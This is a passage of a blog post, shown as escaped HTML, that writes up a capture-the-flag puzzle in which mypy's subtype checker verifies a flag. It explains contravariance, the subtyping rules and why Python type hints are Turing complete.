&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;T &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;T&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; covariant&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now $&#92;texttt{MyList[Reverse]} {} &amp;lt;: &#92;texttt{MyList[Challenge]}$, and the program compiles.&lt;/p&gt;
&lt;p&gt;At this point, you should be able to appreciate the double entendre in the title: &lt;em&gt;N[Subtype Metaprogramming] is N[Mostly Harmless]&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&quot;metaprogramming-with-type-hints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#metaprogramming-with-type-hints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Metaprogramming with Type Hints&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;SpongeBob agrees: it&#39;s all magic.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 584 / 427&quot; alt=&quot;Spongebob gesturing a rainbow, suggesting metaprogramming with type hints is magic.&quot; title=&quot;SpongeBob agrees: it&#39;s all magic.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp 584w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 584px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer: Here be dragons.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I don&#39;t have a PhD in computer science or mathematics. Most things below are rephrased from Roth&#39;s paper, but if you spot something erroneous (or have questions), do &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#comments&quot;&gt;let me&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;know&lt;/a&gt;. :D&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We haven&#39;t even started digging through &lt;code&gt;output.py&lt;/code&gt;! Thankfully, the challenge author linked a paper for our perusal.&lt;/p&gt;
&lt;h3 id=&quot;be-a-subtype-checker&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Be a Subtype Checker&lt;/h3&gt;
&lt;p&gt;Back to the challenge. The program leverages the &lt;code&gt;mypy&lt;/code&gt; type-checker to perform flag-checking. The last line of &lt;code&gt;output.py&lt;/code&gt; asks an important question (aka subtype query): &lt;strong&gt;is &lt;code&gt;QRW_s29[L___TAPE_END__[N[...]]]&lt;/code&gt; a subtype of &lt;code&gt;E[E[Z]]&lt;/code&gt;&lt;/strong&gt;???&lt;/p&gt;
&lt;p&gt;To answer this subtype query, we need to search for a trail of supertypes leading us from the supposed subtype (&lt;code&gt;QRW_s29[L___TAPE_END__[N[...]]]&lt;/code&gt;) to the upper type (&lt;code&gt;E[E[Z]]&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;A quick aside.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We use &amp;quot;$&#92;rightsquigarrow$&amp;quot; to denote a resolution step in the checker.&lt;/li&gt;
&lt;li&gt;For convenience, we simplify expressions by ignoring brackets: $C[D[E[A]]]$ becomes $CDEA$.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;How does the search go? Meet the two &lt;strong&gt;subtyping rules&lt;/strong&gt; used by the type-checker:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Super&lt;/strong&gt;. Substitute a type with its supertype.
$$
(C : D) &#92;land (CA &amp;lt;: EB) {} &#92;rightsquigarrow DA &amp;lt;: EB
$$
In English, if $C$ has a supertype $D$, we can &amp;quot;go up a level&amp;quot; to &lt;em&gt;search&lt;/em&gt; for a match.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cancel&lt;/strong&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Remove the outermost type from both sides of the query. (And flip, since all type parameters are assumed to be contravariant!)
$$
EA &amp;lt;: EB &#92;rightsquigarrow A &amp;lt;: B
$$
This just comes from our definition of contravariance.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The search terminates once we find a match $A &amp;lt;: A$.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;What if there are multiple supertypes (due to multiple inheritance)? Wouldn&#39;t our paths diverge? Which one do we choose?&lt;/p&gt;
&lt;p&gt;Keep in mind we&#39;re performing a &lt;em&gt;search&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A good heuristic is to choose a supertype that cancels out the outer type on the other side.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; A&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;C[T]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; B&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;A[T]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; B&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, choosing $BAT$ allows us to cancel $B$ in the next step.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$CCZ &amp;lt;:^? BCZ$&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow BACZ &amp;lt;:^? BCZ$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow ACZ :&amp;gt;^? CZ$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;subtype-checking-example&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#subtype-checking-example&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Subtype-Checking Example&lt;/h3&gt;
&lt;p&gt;Let’s walk through an example of an infinite subtyping query.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Here&#39;s the code:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; typing &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Generic&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Any
z &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;z&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; contravariant&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;C[C[x]]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;U&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Subtype query: CT &amp;lt;: NCU.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;C[C[x]]&amp;quot;&lt;/code&gt; is quoted in order to forward-reference &lt;code&gt;C&lt;/code&gt;. (We declare and use it in the same statement.)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And here&#39;s the applied rules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$CT &amp;lt;:^? NCU$&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NNCCT &amp;lt;:^? NCU$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NCCT :&amp;gt;^? CU$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NCCT :&amp;gt;^? NNCCU$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow CCT &amp;lt;:^? NCCU$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;(and so on...)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As you may notice, we started with $CT &amp;lt;:^? NCU$, but after 4 steps, another $C$ joined the party. Inductively, this will continue to grow forever (or until &lt;code&gt;mypy&lt;/code&gt; runs out of space).&lt;/p&gt;
&lt;h3 id=&quot;python-type-hints-are-turing-complete&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#python-type-hints-are-turing-complete&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Python Type Hints are Turing Complete&lt;/h3&gt;
&lt;p&gt;It turns out that Python type hints are Turing Complete thanks to two characteristics: &lt;em&gt;contravariance&lt;/em&gt; and &lt;em&gt;expansive-recursive inheritance&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#invariance-covariance-and-contravariance&quot;&gt;&lt;strong&gt;Contravariance&lt;/strong&gt;&lt;/a&gt;, as we saw previously, means $A &amp;lt;: B&#92; &#92;iff&#92; F[A] :&amp;gt; F[B]$.&lt;/p&gt;
  &lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In this section, we assume all type parameters are contravariant.&lt;/p&gt;
  &lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expansive-Recursive Inheritance&lt;/strong&gt; is more complicated to define, but the implications are that we can inherit recursively, and generate infinite, undecidable subtype queries. We saw an example of this in a &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot;&gt;previous section&lt;/a&gt;. (Read more in §2 of Roth&#39;s paper.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With these, Python type hints can (slowly) simulate any Turing machine or computation!&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;What is a Turing Machine?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;A &lt;strong&gt;Turing Machine&lt;/strong&gt; is a theoretical computing device that operates on an infinite tape divided into cells. It has a read/write head that follows rules to read, write, and move on the tape based on its current state and the symbol it reads. It repeats this process until it reaches a halting state.&lt;/p&gt;
&lt;p&gt;Turing Machines are powerful because they can solve a wide range of computational problems. They can perform calculations, simulate other machines, and theoretically solve any problem that can be solved by an algorithm. They serve as a fundamental model for understanding the capabilities and limitations of computation.&lt;/p&gt;
&lt;p&gt;Get some intuition by playing the &lt;a href=&quot;https://www.google.com/doodles/alan-turings-100th-birthday&quot;&gt;Turing Machine Google Doodle&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;The whole ordeal is rather complicated. Essentially, there are two things to be aware of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Type Encoding. Different aspects of the tape machine are encoded as types. For example, the &lt;code&gt;L_*&lt;/code&gt; encode the set of possible values (excluding $&#92;bot$, i.e. no value), and &lt;code&gt;ML&lt;/code&gt; encodes the machine head.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1120 / 320&quot; alt=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; title=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp 1120w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1120px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;The components of Grigore’s subtyping machine. All classes are parameterised by a contravariant type parameter $x$, except $Z$, which is monomorphic.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:1&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inheritance Rules. These are used to encode state transitions and the general mechanics of the Turing machine.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1030 / 674&quot; alt=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; title=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1024w.webp 1024w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp 1030w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1030px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Roth&#39;s subtyping inheritance rules. This image is included to illustrate inheritance rules. They differ from the rules in the challenge (which are based on Grigore&#39;s work). The first 4 rows encode Turing Machine state transitions. Again, the type parameter $x$ is contravariant.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:2&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to read more, I suggest reading §1.2 of Roth&#39;s paper.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:3&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;decoding-the-challenges-subtype-query&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#decoding-the-challenges-subtype-query&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Decoding the Challenge&#39;s Subtype Query&lt;/h3&gt;
&lt;p&gt;Just for fun, let&#39;s solve some subtype queries from the challenge. Who needs a job when you&#39;re employed as a full-time subtype checker?&lt;/p&gt;
&lt;p&gt;Although the given subtype query in &lt;code&gt;output.py&lt;/code&gt; doesn&#39;t work, we can still try simpler versions. It turns out the query recurses on the numbers. For example, the following queries compile:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
